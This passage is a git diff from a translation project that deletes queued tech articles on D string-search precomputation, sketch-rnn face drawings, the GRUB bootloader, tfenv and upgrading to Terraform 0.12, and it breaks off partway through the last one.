actually compiles the regex using CTFE. - -`WootheePrecompute` also enables processing the Project Woothee HTTP client data at compile time instead of at startup. - -#### More precomputation for faster string searching - -Woothee requires a lot of searching for strings inside the user agent string. Here’s a small sample: - -``` -if (contains!"Yahoo" || contains!"help.yahoo.co.jp/help/jp/" || contains!"listing.yahoo.co.jp/support/faq/") -{ - if (contains!"compatible; Yahoo! Slurp") return populateDataset("YahooSlurp"); - if (contains!"YahooFeedSeekerJp" || contains!"YahooFeedSeekerBetaJp" || contains!"crawler (http://listing.yahoo.co.jp/support/faq/" || contains!"crawler (http://help.yahoo.co.jp/help/jp/" || contains!"Y!J-BRZ/YATSHA crawler" || contains!"Y!J-BRY/YATSH crawler") return populateDataset("YahooJP"); - if (contains!"Yahoo Pipes") return populateDataset("YahooPipes"); -} -``` - -You may have noticed that `contains` is a template function taking the “needle” string as compile-time parameter. There are many famous ways to make searching for a “needle” string in a “haystack” string faster if you can preprocess either one. The Boyer-Moore algorithm is one algorithm, and there’s actually [an implementation in Phobos][7], but sadly it doesn’t work in CTFE. - -I tried another trick that’s simple and fast for short strings. The key idea is that there’s no point searching for a needle like “foo” if the haystack doesn’t even contain both the letters “f” and “o” in the first place. We can create a 64b hash of both strings that lets us do an approximate character subset test with a super-fast bitwise operation (like a [bloom filter][8]). The hashes for all the needle strings can be calculated at compile time, and the hash for the haystack (the user agent string) only needs to calculated once. - -The hash is super simple. Each byte in the string just sets one of the 64 bits of the output. Specifically, the hash takes each byte in the string, calculates the value modulo 64 (equivalently, takes the lower 6 bits), then sets the corresponding bit of the 64b output. Here’s the code: - -``` -ulong bloomHashOf(string s) pure -{ - ulong ret; - foreach (char c; s) - { - ret |= 1UL << (c & 63); - } - return ret; -} -``` - -Here’s an example with the string, “X11; FreeBSD ”: - -![Bloom-filter-style 64b hash of the string “X11; FreeBSD ”. The string starts with the letter “X”, which has ASCII code 88, which is 64 + 24, which is why bit #24 is set.][9] - -Note that the hash doesn’t count occurrences of a character; it just flags whether a particular character occurs at all. It also loses all information about order. It’s still useful for avoiding a lot of futile searches. For example, “Tiny Tiny RSS/20.05-c8243b0 ( doesn’t contain the character “X”, so there’s no way it can contain the string “X11; FreeBSD ”, as is easily detected by the hashes: - -![Hashes of the string “Tiny Tiny RSS/20.05-c8243b0 \(http://tt-rss.org/\)” and the string “X11; FreeBSD ”. The first hash doesn't have bit #24 set, proving that the first string can't contain a letter “X”, proving that the second string can't be contained inside it.][10] - -Here’s the D code. It does a quick bitwise op to check if _all_ the bits set in the needle hash are also set in the (previously calculated) user agent string hash. `bloomHashOf(needle)` is calculated as a constant at compile time. In fact, LDC with `-O2` inlines very sensibly, basically putting some bit ops with a 64b constant in front of a conditional jump in front of the call to `canFind()`. This precomputation is dirt cheap, so I didn’t even bother putting a `version(WootheePrecompute)` in there, as you can see for yourself: - -``` -bool contains(string needle)() -{ - import std.algorithm.searching : canFind; - enum needle_bloom = bloomHashOf(needle); - if ((needle_bloom & _agent_bloom) != needle_bloom) return false; - return _agent.canFind(needle); -} -``` - -The quick check is one sided. If it fails, we know we don’t need to search. If it passes, that doesn’t prove we have a substring match because the hash doesn’t account for repeated characters, or character order, and can also have different characters colliding to set the same bit value. - -Simply taking the bottom 6 bits is a pretty unsophisticated hashing technique, but if you look at an ASCII chart (`man ascii`), most of the characters that typically appear in HTTP user agents are in the range 64-127, which all have different values in the bottom 6 bits. So collisions aren’t a real problem, and actually [most pseuodorandom hashes would do a worse job][11]. - -In a simple test with real HTTP user agents from a log, 89% of potential `canFind()` calls were skipped thanks to the quick check, 9% were followed but failed and 2% were followed and found a real match. Overall, the quick check made `woothee-d` almost twice as fast, which is a nice win for some cheap precomputation. I think there’s more performance that could be gained, but it looks like most of the low-hanging fruit for string search has been taken. - --------------------------------------------------------------------------------- - -via: https://theartofmachinery.com/2020/11/14/woothee.html - -作者:[Simon Arneaud][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://theartofmachinery.com -[b]: https://github.com/lujun9972 -[1]: https://gitlab.com/sarneaud/woothee-d -[2]: https://github.com/ua-parser -[3]: https://www.boost.org/doc/libs/1_74_0/doc/html/xpressive/user_s_guide.html#boost_xpressive.user_s_guide.creating_a_regex_object.static_regexes -[4]: https://dlang.org/phobos/std_regex.html#ctRegex -[5]: https://tour.dlang.org/tour/en/gems/compile-time-function-evaluation-ctfe -[6]: https://dlang.org/spec/version.html -[7]: https://dlang.org/phobos/std_algorithm_searching.html#boyerMooreFinder -[8]: https://en.wikipedia.org/wiki/Bloom_filter -[9]: https://theartofmachinery.com/images/woothee/bloom.svg -[10]: https://theartofmachinery.com/images/woothee/bloom_mismatch.svg -[11]: https://theartofmachinery.com/2020/01/27/systems_programming_probability.html diff --git a/sources/tech/20201116 Day 5- drawing lots of faces with sketch-rnn.md b/sources/tech/20201116 Day 5- drawing lots of faces with sketch-rnn.md deleted file mode 100644 index 0b1e0a4d5f..0000000000 --- a/sources/tech/20201116 Day 5- drawing lots of faces with sketch-rnn.md +++ /dev/null @@ -1,87 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Day 5: drawing lots of faces with sketch-rnn) -[#]: via: (https://jvns.ca/blog/2020/11/16/day-5--lots-of-faces-with-sketch-rnn/) -[#]: author: (Julia Evans https://jvns.ca/) - -Day 5: drawing lots of faces with sketch-rnn -====== - -Hello! This week it’s generative art week at RC, and I thought it would be fun to generate drawings of faces. - -Someone suggested the [Google Quickdraw][1] dataset, which has a lot of pictures of faces. And even though I think most of the faces in there are not really that interesting, I really quite like some of them, like these two: - -![][2] ![][3] - -So that seems like somewhere to start! - -### step 1: get the sketch-rnn model - -sketch-rnn is an RNN trained on the quickdraw dataset that generates line drawings. You can see it in action in Monica Dinculescu’s very fun [magic sketchpad][4] demo here – you start making a drawing, and it’ll complete you drawing as a cat / bridge / whatever you want. - -I figured that would be a fun place to start, and [ml5js][5] has a [tutorial showing how to write Javascript code to draw things with sketch-rnn][6], which I followed. - -### step 2: make the tutorial code use async/await - -The ml5js example had a bunch of global variables and callbacks and I found it difficult to work with, so I spent a while refactoring it to use async/await so that I could play around with it more easily. This took a while but I got it to work. - -### step 3: make sketch-rnn draw lots of faces and put them into a gallery - -I started out with making a more interactive website, but decided to instead do something really simple to start: just get the model to draw a lot of faces and see how I felt about them. - -Here’s the resulting (very janky, not responsive) website I made, which draws faces and then puts them into a little “gallery” on the right: [lots of sketch-rnn faces][7]. You can see it “live” drawing the faces which is fun. - -The set of images that comes out looks something like this: - -![][8] - -I don’t really like _any_ of these faces, but it’s a start! It’s also very slow on my 2015 laptop, but faster on the iPad. I didn’t spend a lot of time profiling it, but it seems to spend a lot of time in some function with `lstm` in its name – I don’t know what an LSTM is exactly but I know it’s a component of an RNN, so I guess (as you’d expect) it just has a lot of math to do in Javascript to calculate the next line to draw and that’s slow. - -### next step: maybe find out if sketch-rnn can tell the difference between “interesting” and “boring” faces - -I think that this face: - -![][2] - -is a lot more interesting than this face: - -![][9] - -Can I convince the neural network to distinguish between faces that I think are ‘interesting’ and ‘boring’ and maybe only generate more “interesting” faces? We’ll see! Right now I am stuck on trying to get a pre-trained model loaded into Python, so there’s a long way to go. - -I did find someone who’d done something kind of similar, on [bad flamingos vs good flamingos][10] in the quickdraw dataset. - -I still don’t really know anything about RNNs, but maybe if I can answer this question I will learn something about them. - -### also there’s a refrigerator poetry forum - -Here’s that refrigerator poetry forum I was talking about last week: . You can write magnet poetry-style poems on a refrigerator. People wrote some charming poems and I’m happy with it. I think I might use Rails for another project in the future. - -Hopefully people won’t abuse it, if there’s abuse I’ll just take it off the internet probably. - --------------------------------------------------------------------------------- - -via: https://jvns.ca/blog/2020/11/16/day-5--lots-of-faces-with-sketch-rnn/ - -作者:[Julia Evans][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://jvns.ca/ -[b]: https://github.com/lujun9972 -[1]: https://quickdraw.withgoogle.com/data/face -[2]: https://jvns.ca/images/face1.jpg -[3]: https://jvns.ca/images/face2.jpg -[4]: https://magic-sketchpad.glitch.me/ -[5]: https://learn.ml5js.org -[6]: https://github.com/ml5js/ml5-library/tree/main/examples/javascript/SketchRNN/SketchRNN_interactive -[7]: https://lots-of-sketchrnn-faces.netlify.app/ -[8]: https://jvns.ca/images/faces.png -[9]: https://jvns.ca/images/boring-face.png -[10]: https://colinmorris.github.io/blog/bad_flamingos diff --git a/sources/tech/20201116 Linux Jargon Buster- What is Grub in Linux- What is it Used for.md b/sources/tech/20201116 Linux Jargon Buster- What is Grub in Linux- What is it Used for.md deleted file mode 100644 index 74dfda57dc..0000000000 --- a/sources/tech/20201116 Linux Jargon Buster- What is Grub in Linux- What is it Used for.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Linux Jargon Buster: What is Grub in Linux? What is it Used for?) -[#]: via: (https://itsfoss.com/what-is-grub/) -[#]: author: (Abhishek Prakash https://itsfoss.com/author/abhishek/) - -Linux Jargon Buster: What is Grub in Linux? What is it Used for? -====== - -If you ever used a desktop Linux system, you must have seen this screen. This is called the GRUB screen. Yes, it is written in all capital letters. - -![Remember this screen? This is GRUB][1] - -In this chapter of the Linux Jargon Buster series, I’ll tell you what is Grub and what is it used for. I’ll also briefly touch upon the configuration and customization part. - -### What is GRUB? - -[GRUB][2] is complete program for loading and managing boot. It is the most common bootloader for Linux distributions. A bootloader is the first software that runs when a computer starts. It loads the [kernel of the operating system][3] and then the kernel initializes the rest of the operating systems (shell, [display manager][4], [desktop environment][5] etc). - -#### Boot loader vs boot manager - -I didn’t want to confuse you at this stage but I see no option to avoid bringing this topic. There is a blur line between a bootloader and a boot manager. - -You already know that bootloader starts first and then loads the kernel into memory and executes it. A boot manager program allows you to choose between operating systems (if there are more than one OS on your system). A boot manager doesn’t load the OS directly, - -With Linux kernel version 3.3, the [Linux kernel includes a built-in EFI bootloader][6]. In fact, any operating system that is capable of working [EFI system includes an EFI bootloader][7]. In EFI capable systems, the firmware reads the EFI System Partition (ESP) for the EFI files for boot information. - -_**Insert Image: Show partition table with ESP partition.**_ - -![][8] - -GRUB is both a bootloader and a boot manager. I’ll come back to GRUB in a moment. Let’s see other GRUB like programs. - -Trivia - -GRUB is acronym for **GR**and **U**nified **B**ootloader. - -### What are some other boot managing programs like GRUB? - -GRUB is the most popular boot manager for Linux. But it is not the only one. There is this highly customizable [rEFInd boot manager][9] that some Linux users love to use. - -![Customized rEFInd Boot Manager Screen | Image Credit][10] - -There is [systemd-boot][11] text-based boot manager. You can guess that this is exclusively for systemd-based Linux distributions. Some distributions like Pop OS use the systemd-boot. - -![systemd-Boot in Pop OS | Image Credit][12] - -### Accessing or editing GRUB - -The usual GRUB screen you see is its menu interface. It allows you to choose the operating systems if there are more than one operating system. You can also choose to load a different kernel if your Linux distribution as more than one kernel installed. - -Depending upon the configuration set by the Linux distribution, you may have some other entries on the GRUB menu. - -You can edit GRUB menu entry by pressing the key `e`. This way, you can change the kernel parameters before loading it. For example, in some cases, [disabling the graphics driver from the kernel helps you with Linux system stuck at boot][13]. - -![][14] - -You can also enter the command line menu of GRUB using the key `c` at the GRUB menu interface. - -#### GRUB configuration file - -Any changes you make to the GRUB from the menu interface is temporary. If you want to make some permanent changes to GRUB like changing the default timeout, you can change the configuration file after you boot into your Linux system. - -The default GRUB configuration file is located at /etc/default/grub. There is also a /etc/default/grub.d directory. You may edit the /etc/default/grub file directly, however it is advised to make additional changes by adding config files (.cfg files) in this directory. - -![Default GRUB Config File][15] - -You must [update GRUB for the changes to take into effect][16]. - -#### GRUB customizer in Ubuntu - -If you think [editing file with a text editor in the terminal][17] is not something you feel comfortable with, you can [use a graphical tool called GRUB Customizer][18]. - -![][19] - -It allows you to change the boot order, default timeout etc. You can also use it to change the background of GRUB with a custom wallpaper. - -This tool is unfortunately available for Ubuntu-based Linux distributions only. - -### Conclusion - -I have touched everything on the surface. EFI, boot loading and GRUB itself is detailed and complicated topic and not in the scope of this article. This article intended to give you a high level overview of GRUB boot program. - -Perhaps I’ll write a detailed guide on GRUB explaining the low level details. For now, if you want to learn more on GRUB, you can access the GRUB documentation in your Linux terminal using `info grub` command. - -![GRUB Manual can be accessed via Terminal][20] - -I hope you have a tad bit better understanding of what is GRUB now. Here’s a GIF to humor you. - -![What Is GRUB? UEFI don’t hurt me, no more… :\)][21] - -I may not have answered all questions you have about GRUB. Please feel free to let me know in the comment section. I may update the article with your questions or suggestions. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/what-is-grub/ - -作者:[Abhishek Prakash][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/abhishek/ -[b]: https://github.com/lujun9972 -[1]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/11/grub-screen-linux.png?resize=800%2C450&ssl=1 -[2]: https://www.gnu.org/software/grub/ -[3]: https://itsfoss.com/what-is-linux/ -[4]: https://itsfoss.com/display-manager/ -[5]: https://itsfoss.com/what-is-desktop-environment/ -[6]: https://www.rodsbooks.com/efi-bootloaders/efistub.html -[7]: https://jdebp.eu/FGA/efi-boot-process.html -[8]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/disk-partition-gparted.png?resize=744%2C385&ssl=1 -[9]: https://www.rodsbooks.com/refind/ -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/refind-boot-manager.png?resize=800%2C602&ssl=1 -[11]: https://wiki.gentoo.org/wiki/Systemd-boot -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/systemd-boot.png?resize=714%2C333&ssl=1 -[13]: https://itsfoss.com/fix-ubuntu-freezing/ -[14]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2019/04/editing-grub-to-fix-nvidia-issue.jpg?resize=800%2C343&ssl=1 -[15]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/11/default-grub-config-file.png?resize=759%2C437&ssl=1 -[16]: https://itsfoss.com/update-grub/ -[17]: https://itsfoss.com/command-line-text-editors-linux/ -[18]: https://itsfoss.com/grub-customizer-ubuntu/ -[19]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2013/05/make-windows-default-grub-2.jpeg?resize=799%2C435&ssl=1 -[20]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/11/grub-manual-Linux-terminal.png?resize=800%2C462&ssl=1 -[21]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/11/what_is_GRUB.gif?resize=500%2C343&ssl=1 diff --git a/sources/tech/20201116 Manage multiple Terraform versions with tfenv.md b/sources/tech/20201116 Manage multiple Terraform versions with tfenv.md deleted file mode 100644 index 28ddcd0b4c..0000000000 --- a/sources/tech/20201116 Manage multiple Terraform versions with tfenv.md +++ /dev/null @@ -1,262 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage multiple Terraform versions with tfenv) -[#]: via: (https://opensource.com/article/20/11/tfenv) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -Manage multiple Terraform versions with tfenv -====== -If you use multiple Terraform versions in your environment, tfenv will -make your life much easier. -![Computer screen with files or windows open][1] - -In my [Terraform for Kubernetes beginners][2] article, I used Terraform 11, and in an upcoming article, I'll cover upgrading from Terraform 11 to 12. To prepare for that, in this article, I'll show you how to use [tfenv][3], a tool that makes it much easier to convert from one version to another, as well as to manage multiple Terraform versions in your work environment. - -### Install tfenv - -Many coding languages have tools that allow you to go back and forth between versions based on environmental rules. One example (which tfenv is based on) is [rbenv][4], which allows you to choose which version of [Ruby][5] you want to work with. - -tfenv works on Linux, macOS, and Windows; I'll cover the Linux installation using Ubuntu 18.04, but the tool's GitHub repository has [installation instructions][6] for the other operating systems. - -The Linux installation uses some Git commands (check out the [intro to Git][7] series if you're not already familiar with it). - -First, create a `.tfenv` folder in your `${HOME}` directory: - - -``` -`jess@Athena:~$ mkdir .tfenv` -``` - -Clone the `tfenv` repository: - - -``` -jess@Athena:~$ git clone ~/.tfenv -Cloning into '/home/jess/.tfenv'... -remote: Enumerating objects: 21, done. -remote: Counting objects: 100% (21/21), done. -remote: Compressing objects: 100% (19/19), done. -remote: Total 1105 (delta 8), reused 10 (delta 2), pack-reused 1084 -Receiving objects: 100% (1105/1105), 216.01 KiB | 2.84 MiB/s, done. -Resolving deltas: 100% (703/703), done. -``` - -If you prefer [Homebrew][8], you can use: - - -``` -`$ brew install tfenv` -``` - -Export your path into your Bash profile: - - -``` -`jess@Athena:~$ echo 'export PATH="$HOME/.tfenv/bin:$PATH"' >> ~/.bash_profile` -``` - -If you want to use just the base commands for Ubuntu/Debian-based systems, there is another option that makes things a little easier. After doing the clone in the `.tfenv` directory, set your profile to put the `tfenv` command into your profile in your next session: - - -``` -`jess@Athena:~/.tfenv$ . ~/.profile` -``` - -Once the profile is set, you can symlink your directory to your `.local/bin` directory to make `tfenv` an executable binary: - - -``` -`jess@Athena:~/.tfenv$ ln -s ~/.tfenv/bin/* ~/.local/bin` -``` - -Run the `which` command, and you should see `tfenv`'s location: - - -``` -jess@Athena:~/.tfenv$ which tfenv -/home/jess/.local/bin/tfenv -``` - -### How to use tfenv - -Now that everything is installed, check out what commands are available: - - -``` -jess@Athena:~$ tfenv -tfenv 2.0.0-37-g0494129 -Usage: tfenv <command> [<options>] - -Commands: -   install      Install a specific version of Terraform -   use          Switch a version to use -   uninstall    Uninstall a specific version of Terraform -   list         List all installed versions -   list-remote  List all installable versions -``` - -As you can see, it's a pretty straightforward tool that enables you to install and uninstall Terraform versions as needed. - -Before you decide what to install, check which versions are available. This is a small snippet, as the list is about a mile long: - - -``` -jess@Athena:~$ tfenv list-remote -0.14.0-beta1 -0.14.0-alpha20201007 -0.14.0-alpha20200923 -0.14.0-alpha20200910 -0.13.5 -0.13.4 -0.13.3 -0.13.2 -0.13.1 -0.13.0 -0.13.0-rc1 -0.13.0-beta3 -0.13.0-beta2 -0.13.0-beta1 -0.12.29 -0.12.28 -0.12.27 -``` - -#### Install Terraform versions - -To install the latest version of Terraform: - - -``` -jess@Athena:~$ tfenv install latest -Installing Terraform v0.13.5 -Downloading release tarball from -###################################################################################################################################################################################### 100.0% -Downloading SHA hash file from -No keybase install found, skipping OpenPGP signature verification -Archive:  tfenv_download.N3bzZ2/terraform_0.13.5_linux_amd64.zip -  inflating: /home/jess/.tfenv/versions/0.13.5/terraform   -Installation of terraform v0.13.5 successful. To make this your default version, run 'tfenv use 0.13.5' -``` - -To install a specific Terraform version (in this case, 0.12.29): - - -``` -jess@Athena:~$ tfenv install 0.12.29 -Installing Terraform v0.12.29 -Downloading release tarball from -###################################################################################################################################################################################### 100.0% -Downloading SHA hash file from -No keybase install found, skipping OpenPGP signature verification -Archive:  tfenv_download.1YFOLh/terraform_0.12.29_linux_amd64.zip -  inflating: /home/jess/.tfenv/versions/0.12.29/terraform   -Installation of terraform v0.12.29 successful. To make this your default version, run 'tfenv use 0.12.29' -``` - -Finally, to install the latest version of Terraform 0.11: - - -``` -jess@Athena:~$ tfenv install latest:^0.11 -Installing Terraform v0.11.15-oci -Downloading release tarball from -###################################################################################################################################################################################### 100.0% -Downloading SHA hash file from -No keybase install found, skipping OpenPGP signature verification -Archive:  tfenv_download.8OxQ8k/terraform_0.11.15-oci_linux_amd64.zip -  inflating: /home/jess/.tfenv/versions/0.11.15-oci/terraform   -Installation of terraform v0.11.15-oci successful. To make this your default version, run 'tfenv use 0.11.15-oci' -``` - -That was simple, and now you can put them to use! - -#### Change Terraform versions - -Once you have installed several versions of Terraform, you can pick one to use. First, find out your options by listing the installed versions: - - -``` -jess@Athena:~$ tfenv list -  0.13.5 (set by /home/jess/.tfenv/version) -  0.12.29 -  0.11.15-oci -``` - -By default, tfenv chooses the most up-to-date version of Terraform you have installed. Find out the default by running the `tfenv use` command: - - -``` -jess@Athena:~$ tfenv use -Switching default version to v0.13.5 -Switching completed - -jess@Athena:~$ terraform --version -Terraform v0.13.5 -``` - -But what if you need to use an older version? This example switches to the oldest version I have installed: - - -``` -jess@Athena:~$ tfenv use 0.11.15-oci -Switching default version to v0.11.15-oci -Switching completed - -jess@Athena:~$ terraform -version -Terraform v0.11.15-oci - -Your version of Terraform is out of date! The latest version -is 0.13.5. You can update by downloading from [www.terraform.io/downloads.html][9] -``` - -It's easy as pie! Just run the `list` command and use the naming convention provided. - -#### Uninstall Terraform versions - -If you have a version of Terraform you don't want or need any more, you can remove it with the `uninstall` command. For example, I don't need Terraform version 0.13: - - -``` -jess@Athena:~$ tfenv uninstall 0.13.5 -Uninstall Terraform v0.13.5 -Terraform v0.13.5 is successfully uninstalled -``` - -To confirm it's no longer installed: - - -``` -jess@Athena:~$ tfenv list -  0.12.29 -  0.11.15-oci -``` - -### Final thoughts - -The tfenv tool is great for many reasons. If you need to update from one version of Terraform to another, this is one of the faster ways to upgrade and test the outcome. If your environment has things running on several Terraform versions, it's easy to switch back and forth as needed. If you use Terraform, try tfenv and see how it can transform your environment. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/tfenv - -作者:[Jessica Cherry][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/cherrybomb -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/browser_screen_windows_files.png?itok=kLTeQUbY (Computer screen with files or windows open) -[2]: https://opensource.com/article/20/7/terraform-kubernetes -[3]: https://github.com/tfutils/tfenv -[4]: https://github.com/rbenv/rbenv -[5]: https://www.ruby-lang.org/en/ -[6]: https://github.com/tfutils/tfenv#installation -[7]: https://opensource.com/life/16/7/stumbling-git -[8]: https://opensource.com/article/20/6/homebrew-linux -[9]: http://www.terraform.io/downloads.html diff --git a/sources/tech/20201117 How to upgrade to Terraform 0.12.md b/sources/tech/20201117 How to upgrade to Terraform 0.12.md deleted file mode 100644 index 6f38dd9201..0000000000 --- a/sources/tech/20201117 How to upgrade to Terraform 0.12.md +++ /dev/null @@ -1,503 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How to upgrade to Terraform 0.12) -[#]: via: (https://opensource.com/article/20/11/update-terraform) -[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) - -How to upgrade to Terraform 0.12 -====== -Updating your environment to Terraform 0.12 is not for the faint of -heart, but this how-to will make it less painful. -![Green graph of measurements][1] - -In [getting started with Terraform][2], I used Terraform version 0.11. As some readers pointed out, this version lacks some significant features, so in this article, I'll explain how to update Terraform to the more feature-rich version 0.12. - -You may be surprised to learn that many people still use Terraform 0.11, including large organizations and stubborn users who like to stay on tried-and-true technology. Converting from Terraform 0.11 to 0.12 can be very complex. If you want to take advantage of the newer features but think you're not ready to update, this article should help make the conversion easier. - -In this article, I'll use the code from my "getting started" article and the [tfenv][3] tool, which enables you to use different versions of Terraform on the same machine. I'll also assume that you're familiar with two versions of Terraform (the one you're using, and the one you're migrating to), and how to use the `terraform` command in general. - -### Code changes needed for version 12 - -Some things work in Terraform version 0.11 that do not work in version 0.12. Here is an example of code I used in my previous article: - - -``` -resource "kubernetes_namespace" "1-minikube-namespace" { -  metadata { -        name = "my-first-terraform-namespace" -  } -} -``` - -As one reader pointed out, this code block does not work in version 0.12 due to changes in the way the latest Terraform works. This is a simple example, and it gets more complicated. Here are some examples of how much things may need to change in a production environment. - -The new Terraform needs slightly different syntax and structure. For starters, add a `vars.tf` file: - - -``` -variable "namespace" { -  type = "string" -  default = "helloworld" -} - -variable "cluster" { -  type = "string" -  default = "minikube" -} -``` - -Then, change parts of the `main.tf` file to incorporate the new `vars.tf` file. The Kubernetes provider now looks like this: - - -``` -provider "kubernetes" { -  config_context_cluster   = "${var.cluster}" -} -``` - -Here is the revised namespace resource: - - -``` -resource "kubernetes_namespace" "1-minikube-namespace" { -  metadata { -        name = "${var.namespace}" -  } -} -``` - -Finally, the changed [Helm provider][4]: - - -``` -provider "helm" { -  kubernetes { -        config_context_cluster   = "${var.cluster}" -  } -} -``` - -Beware! These small changes will matter when switching between versions. - -### Deploy before conversion - -Before moving forward, [set up tfenv][5] to use the correct version of Terraform: - - -``` -jess@Athena:~/terraform_doc$ tfenv list -  0.12.29 -  0.11.15-oci -jess@Athena:~/terraform_doc$ tfenv use 0.11.15-oci -Switching default version to v0.11.15-oci -Switching completed -jess@Athena:~/terraform_doc$ terraform --version -Terraform v0.11.15-oci -\+ provider.helm v1.2.2 -\+ provider.kubernetes v1.11.2 - -Your version of Terraform is out of date! The latest version -is 0.xx.y. You can update by downloading from [www.terraform.io/downloads.html][6] -``` - -If you (like me) have done other work with Terraform after using the code in my previous Terraform article, you need to redeploy everything. Set up the Minikube cluster for this Terraform deployment by starting a new, clean cluster: - - -``` -$ minikube delete -🔥  Deleting "minikube" in kvm2 ... -💀  Removed all traces of the "minikube" cluster. -jess@Athena:~/terraform_doc$ minikube start -😄  minikube v1.14.0 on Ubuntu 18.04 -``` - -After the cluster is set up, you can deploy your modified Terraform code. Start with the `init` command: - - -``` -$ terraform init - -Initializing provider plugins... - -The following providers do not have any version constraints in configuration, -so the latest version was installed. - -To prevent automatic upgrades to new major versions that may contain breaking -changes, it is recommended to add version = "..." constraints to the -corresponding provider blocks in configuration, with the constraint strings -suggested below. - -* provider.helm: version = "~> 1.2" -* provider.kubernetes: version = "~> 1.11" - -Terraform has been successfully initialized! - -You may now begin working with Terraform. Try running "terraform plan" to see -any changes that are required for your infrastructure. All Terraform commands -should now work. [...] -``` - -Next, run your plan: - - -``` -$ terraform plan -Refreshing Terraform state in-memory prior to plan... -helm_release.local: Refreshing state... (ID: buildachart) -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-first-terraform-namespace) [...] - -Terraform will perform the following actions: - -  + helm_release.local -        id:                            <computed> -        atomic:                        "false" -        chart:                         "./buildachart" -        cleanup_on_fail:               "false" -        create_namespace:              "false" -        dependency_update:             "false" -        disable_crd_hooks:             "false" -        disable_openapi_validation: "false" -        [...] -  + kubernetes_namespace.1-minikube-namespace -        id:                            <computed> -        metadata.#:                     "1" -        [...] - -Note: You didn't specify an "-out" parameter to save this plan, so Terraform -can't guarantee that exactly these actions will be performed if -"terraform apply" is subsequently run. -``` - -Finally, apply the Terraform: - - -``` -$ terraform apply --auto-approve -helm_release.local: Refreshing state... (ID: buildachart) -kubernetes_namespace.1-minikube-namespace: Refreshing state... (ID: my-first-terraform-namespace) -kubernetes_namespace.1-minikube-namespace: Creating... -  metadata.#:                   "" => "1" -  metadata.0.generation:       "" => "<computed>" -  [...] -helm_release.local: Creating... -  atomic:                      "" => "false" -  chart:                       "" => "./buildachart" -  cleanup_on_fail:             "" => "false" -  create_namespace:            "" => "false" - [...] -  version:                     "" => "0.1.0" -  wait:                        "" => "true" -kubernetes_namespace.1-minikube-namespace: Creation complete after 1s (ID: helloworld) -helm_release.local: Still creating... (10s elapsed) -helm_release.local: Creation complete after 13s (ID: buildachart) - -Apply complete! Resources: 2 added, 0 changed, 0 destroyed. -``` - -Now you have a local backup of the Terraform state: - - -``` -$ ls -lrt - -drwxr-xr-x 6 jess jess 4096 May 16 14:15 buildachart --rw-r--r-- 1 jess jess  363 Oct 24 13:06 main.tf --rw-rw-r-- 1 jess jess  132 Oct 24 13:17 vars.tf --rw-rw-r-- 1 jess jess 3897 Oct 24 13:20 terraform.tfstate.backup --rw-rw-r-- 1 jess jess 3821 Oct 24 13:21 terraform.tfstate -``` - -### Convert from Terraform 0.11 to 0.12 - -Once everything is deployed using Terraform 0.11, you must work through the conversion process without damaging what you have in your new production cluster. First, change your Terraform version to 0.12 using tfenv: - - -``` -$ tfenv list -  0.12.29 -* 0.11.15-oci (set by /home/jess/.tfenv/version) -jess@Athena:~/terraform_doc$ tfenv use 0.12.29 -Switching default version to v0.12.29 -Switching completed -jess@Athena:~/terraform_doc$ terraform --version -Terraform v0.12.29 -\+ provider.helm v1.2.2 -\+ provider.kubernetes v1.11.2 -``` - -Now that you're on Terraform 0.12, you're ready to convert. Luckily, Terraform has a built-in command for this, as shown in this snippet from the Terraform command list: - - -``` -All other commands: -        0.12upgrade     Rewrites pre-0.12 module source code for v0.12 -``` - -Test the `upgrade` command to see what will be rewritten, then enter `yes` to do the upgrade: - - -``` -$ terraform 0.12upgrade - -This command will rewrite the configuration files in the given directory so -that they use the new syntax features from Terraform v0.12, and will identify -any constructs that may need to be adjusted for correct operation with -Terraform v0.12. -[...] -Would you like to upgrade the module in the current directory? -  Only 'yes' will be accepted to confirm. - -  Enter a value: yes - -\----------------------------------------------------------------------------- - -Upgrade complete! - -The configuration files were upgraded successfully. Use your version control -system to review the proposed changes, make any necessary adjustments, and -then commit. -``` - -It seems to have gone well. It may have rewritten some things, but 